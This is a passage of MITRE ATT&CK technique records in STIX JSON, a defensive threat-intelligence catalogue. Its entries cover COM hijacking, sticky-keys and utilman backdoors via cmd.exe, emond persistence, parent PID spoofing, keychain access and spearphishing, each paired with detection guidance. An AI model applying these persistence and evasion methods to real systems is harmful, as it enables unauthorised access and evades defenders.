"description": "G DATA. (2014, October). COM Object hijacking: the discreet way of persistence. Retrieved August 13, 2016.", "source_name": "GDATA COM Hijacking"}, {"source_name": "Elastic COM Hijacking", "description": "Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016.", "url": "https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com"}], "modified": "2020-11-10T18:19:44.725Z", "name": "Component Object Model Hijacking", "description": "The Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing know binary paths with unknown paths. Even though some third party applications define user COM objects, the presence of objects within <code>HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\</code> may be anomalous and should be investigated since user objects will be loaded prior to machine objects in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\</code>. (Citation: Elastic COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["Autoruns Analysis"], "x_mitre_permissions_required": ["User"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Paul Speulstra, AECOM Global Security Operations Center"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3", "type": "attack-pattern", "created": "2017-05-31T21:30:26.946Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1015", "url": "https://attack.mitre.org/techniques/T1015"}, {"external_id": "CAPEC-558", "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/558.html"}, {"url": "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html", "description": "Glyer, C., Kazanciyan, R. (2012, August 20). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.", "source_name": "FireEye Hikit Rootkit"}, {"url": "https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom", "description": "Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017.", "source_name": "DEFCON2016 Sticky Keys"}, {"url": "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/", "description": "Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014.", "source_name": "Tilbury 2014"}], "modified": "2020-05-13T20:37:30.008Z", "name": "Accessibility Features", "description": "Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are <code>C:\\Windows\\System32\\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\\Windows\\System32\\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\\Windows\\System32\\utilman.exe</code>) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nFor the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for the accessibility program (e.g., \"utilman.exe\"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)\n\n* On-Screen Keyboard: <code>C:\\Windows\\System32\\osk.exe</code>\n* Magnifier: <code>C:\\Windows\\System32\\Magnify.exe</code>\n* Narrator: <code>C:\\Windows\\System32\\Narrator.exe</code>\n* Display Switcher: <code>C:\\Windows\\System32\\DisplaySwitch.exe</code>\n* App Switcher: <code>C:\\Windows\\System32\\AtBroker.exe</code>", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_detection": "Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options</code>.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["Administrator"], "x_mitre_effective_permissions": ["SYSTEM"], "x_mitre_is_subtechnique": false}, {"modified": "2023-10-15T11:45:21.555Z", "name": "Exploitation for Credential Access", "description": "Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0\n\nCredentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain authenticated access to systems. One example of this is `MS14-068`, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions.(Citation: Technet MS14-068)(Citation: ADSecurity Detecting Forged Tickets) Another example of this is replay attacks, in which the adversary intercepts data packets sent between parties and then later replays these packets. If services don't properly validate authentication requests, these replayed packets may allow an adversary to impersonate one of the parties and gain unauthorized access or privileges.(Citation: Bugcrowd Replay Attack)(Citation: Comparitech Replay Attack)(Citation: Microsoft Midnight Blizzard Replay Attack)\n\nSuch exploitation has been demonstrated in cloud environments as well. For example, adversaries have exploited vulnerabilities in public cloud infrastructure that allowed for unintended authentication token creation and renewal.(Citation: Storm-0558 techniques for unauthorized email access)\n\nExploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_contributors": ["John Lambert, Microsoft Threat Intelligence Center", "Mohit Rathore"], "x_mitre_deprecated": false, "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. Credential resources obtained through exploitation may be detectable in use if they are not normally used or seen.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "Windows", "macOS", "Azure AD"], "x_mitre_version": "1.5", "x_mitre_data_sources": ["User Account: User Account Authentication", "Process: Process Creation", "Application Log: Application Log Content"], "type": "attack-pattern", "id": "attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1212", "external_id": "T1212"}, {"source_name": "Bugcrowd Replay Attack", "description": "Bugcrowd. (n.d.). Replay Attack. Retrieved September 27, 2023.", "url": "https://www.bugcrowd.com/glossary/replay-attack/"}, {"source_name": "Comparitech Replay Attack", "description": "Justin Schamotta. (2022, October 28). What is a replay attack?. Retrieved September 27, 2023.", "url": "https://www.comparitech.com/blog/information-security/what-is-a-replay-attack/"}, {"source_name": "ADSecurity Detecting Forged Tickets", "description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.", "url": "https://adsecurity.org/?p=1515"}, {"source_name": "Storm-0558 techniques for unauthorized email access", "description": "Microsoft Threat Intelligence. (2023, July 14). Analysis of Storm-0558 techniques for unauthorized email access. Retrieved September 18, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2023/07/14/analysis-of-storm-0558-techniques-for-unauthorized-email-access/"}, {"source_name": "Microsoft Midnight Blizzard Replay Attack", "description": "Microsoft Threat Intelligence. (2023, June 21). Credential Attacks. Retrieved September 27, 2023.", "url": "https://twitter.com/MsftSecIntel/status/1671579359994343425"}, {"source_name": "Technet MS14-068", "description": "Microsoft. (2014, November 18). Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780). Retrieved December 23, 2015.", "url": "https://technet.microsoft.com/en-us/library/security/ms14-068.aspx"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["macOS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Ivan Sinyakov"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd", "created": "2020-01-24T15:15:13.426Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "mitre-attack", "external_id": "T1546.014", "url": "https://attack.mitre.org/techniques/T1546/014"}, {"source_name": "magnusviri emond Apr 2016", "url": "http://www.magnusviri.com/Mac/what-is-emond.html", "description": "Reynolds, James. (2016, April 7). What is emond?. Retrieved September 10, 2019."}, {"source_name": "xorrior emond Jan 2018", "url": "https://www.xorrior.com/emond-persistence/", "description": "Ross, Chris. (2018, January 17). Leveraging Emond on macOS For Persistence. Retrieved September 10, 2019."}, {"source_name": "sentinelone macos persist Jun 2019", "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/", "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place.\n\nThe rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.", "modified": "2022-04-20T00:16:01.732Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Emond", "x_mitre_detection": "Monitor emond rules creation by checking for files created or modified in <code>/etc/emond.d/rules/</code> and <code>/private/var/db/emondClients</code>.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_is_subtechnique": true, "x_mitre_data_sources": ["File: File Creation", "Command: Command Execution", "Process: Process Creation", "File: File Modification"], "x_mitre_permissions_required": ["Administrator"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8", "type": "attack-pattern", "created": "2020-03-14T22:45:52.963Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1102.003", "url": "https://attack.mitre.org/techniques/T1102/003"}, {"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "source_name": "University of Birmingham C2"}], "modified": "2020-03-26T23:26:10.109Z", "name": "One-Way Communication", "description": "Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_detection": "Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows. User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Network Traffic: Network Connection Creation", "Network Traffic: Network Traffic Flow", "Network Traffic: Network Traffic Content"], "x_mitre_permissions_required": ["User"]}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--9d48cab2-7929-4812-ad22-f536665f0109", "type": "attack-pattern", "created": "2020-10-02T15:45:17.628Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1590", "url": "https://attack.mitre.org/techniques/T1590"}, {"source_name": "WHOIS", "url": "https://www.whois.net/", "description": "NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020."}, {"source_name": "DNS Dumpster", "url": "https://dnsdumpster.com/", "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020."}, {"source_name": "Circl Passive DNS", "url": "https://www.circl.lu/services/passive-dns/", "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020."}], "modified": "2021-04-15T03:34:23.229Z", "name": "Gather Victim Network Information", "description": "Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Linux", "Windows", "macOS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["ExtraHop"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", "type": "attack-pattern", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1210", "url": "https://attack.mitre.org/techniques/T1210"}, {"url": "https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/", "description": "CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.", "source_name": "CIS Multiple SMB Vulnerabilities"}, {"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-0176", "description": "National Vulnerability Database. (2017, June 22). CVE-2017-0176 Detail. Retrieved April 3, 2018.", "source_name": "NVD CVE-2017-0176"}, {"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6662", "description": "National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018.", "source_name": "NVD CVE-2016-6662"}, {"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-7169", "description": "National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018.", "source_name": "NVD CVE-2014-7169"}], "modified": "2022-02-24T15:06:46.006Z", "name": "Exploitation of Remote Services", "description": "Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.\n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Discovery](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities,  or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nThere are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services.(Citation: NVD CVE-2014-7169)\n\nDepending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "lateral-movement"}], "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of [Discovery](https://attack.mitre.org/tactics/TA0007), or other unusual network traffic that may indicate additional tools transferred to the system.", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Network Traffic: Network Traffic Content", "Application Log: Application Log Content"], "x_mitre_permissions_required": ["User"], "x_mitre_system_requirements": ["Unpatched software or otherwise vulnerable target. Depending on the target and goal, the system and exploitable service may need to be remotely accessible from the internal network."], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Wayne Silva, F-Secure Countercept"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--9ddc2534-e91c-4dab-a8f6-43dab81e8142", "type": "attack-pattern", "created": "2019-06-03T14:50:50.613Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1502", "url": "https://attack.mitre.org/techniques/T1502"}, {"description": "Stevens, D. (2009, November 22). Quickpost: SelectMyParent or Playing With the Windows Process Tree. Retrieved June 3, 2019.", "url": "https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/", "source_name": "DidierStevens SelectMyParent Nov 2009"}, {"description": "Montemayor, D. et al.. (2018, November 15). How User Account Control works. Retrieved June 3, 2019.", "url": "https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works", "source_name": "Microsoft UAC Nov 2018"}, {"description": "Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019.", "url": "https://www.countercept.com/blog/detecting-parent-pid-spoofing/", "source_name": "CounterCept PPID Spoofing Dec 2018"}, {"source_name": "CTD PPID Spoofing Macro Mar 2019", "url": "https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/", "description": "Tafani-Dereeper, C. (2019, March 12). Building an Office macro to spoof parent processes and command line arguments. Retrieved June 3, 2019."}, {"description": "Chester, A. (2017, November 20). Alternative methods of becoming SYSTEM. Retrieved June 4, 2019.", "url": "https://blog.xpnsec.com/becoming-system/", "source_name": "XPNSec PPID Nov 2017"}, {"source_name": "Microsoft Process Creation Flags May 2018", "url": "https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags", "description": "Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019."}, {"source_name": "Secuirtyinbits Ataware3 May 2019", "url": "https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3", "description": "Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019."}], "modified": "2020-02-18T18:23:31.546Z", "name": "Parent PID Spoofing", "description": "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the <code>CreateProcess</code> API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via <code>svchost.exe</code> or <code>consent.exe</code>) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1086)/[Rundll32](https://attack.mitre.org/techniques/T1085) to be <code>explorer.exe</code> rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via VBA [Scripting](https://attack.mitre.org/techniques/T1064) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) (given appropriate access rights to the parent process). For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as <code>lsass.exe</code>), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)", "kill_chain_phases": [{"phase_name": "defense-evasion", "kill_chain_name": "mitre-attack"}, {"phase_name": "privilege-escalation", "kill_chain_name": "mitre-attack"}], "x_mitre_detection": "Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)\n\nMonitor and analyze API calls to <code>CreateProcess</code>/<code>CreateProcessA</code>, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of <code>CreateProcess</code>/<code>CreateProcessA</code> may also be proceeded by a call to <code>UpdateProcThreadAttribute</code>, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["Host forensic analysis", "Heuristic Detection"], "x_mitre_permissions_required": ["User", "Administrator"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--9e09ddb2-1746-4448-9cad-7f8b41777d6d", "type": "attack-pattern", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1142", "url": "https://attack.mitre.org/techniques/T1142"}, {"url": "https://en.wikipedia.org/wiki/Keychain_(software)", "description": "Wikipedia. (n.d.). Keychain (software). Retrieved July 5, 2017.", "source_name": "Wikipedia keychain"}, {"url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way", "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.", "source_name": "External to DA, the OS X Way"}], "modified": "2020-02-12T18:55:55.305Z", "name": "Keychain", "description": "Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in <code>~/Library/Keychains/</code>,<code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>. (Citation: Wikipedia keychain) The <code>security</code> command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.\n\nTo manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user\u2019s logon credentials.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_detection": "Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["Administrator"], "x_mitre_is_subtechnique": false}, {"modified": "2024-02-16T13:09:39.215Z", "name": "Internal Spearphishing", "description": "After they already have access to accounts or systems within the environment, adversaries may use internal spearphishing to gain access to additional information or compromise other users within the same organization. Internal spearphishing is multi-staged campaign where a legitimate account is initially compromised either by controlling the user's device or by compromising the account credentials of the user. Adversaries may then attempt to take advantage of the trusted internal account to increase the likelihood of tricking more victims into falling for phish attempts, often incorporating [Impersonation](https://attack.mitre.org/techniques/T1656).(Citation: Trend Micro - Int SP)\n\nFor example, adversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic login interfaces.\n\nAdversaries may also leverage internal chat apps, such as Microsoft Teams, to spread malicious content or engage users in attempts to capture sensitive information and/or credentials.(Citation: Int SP - chat apps)", "kill_chain_phases": 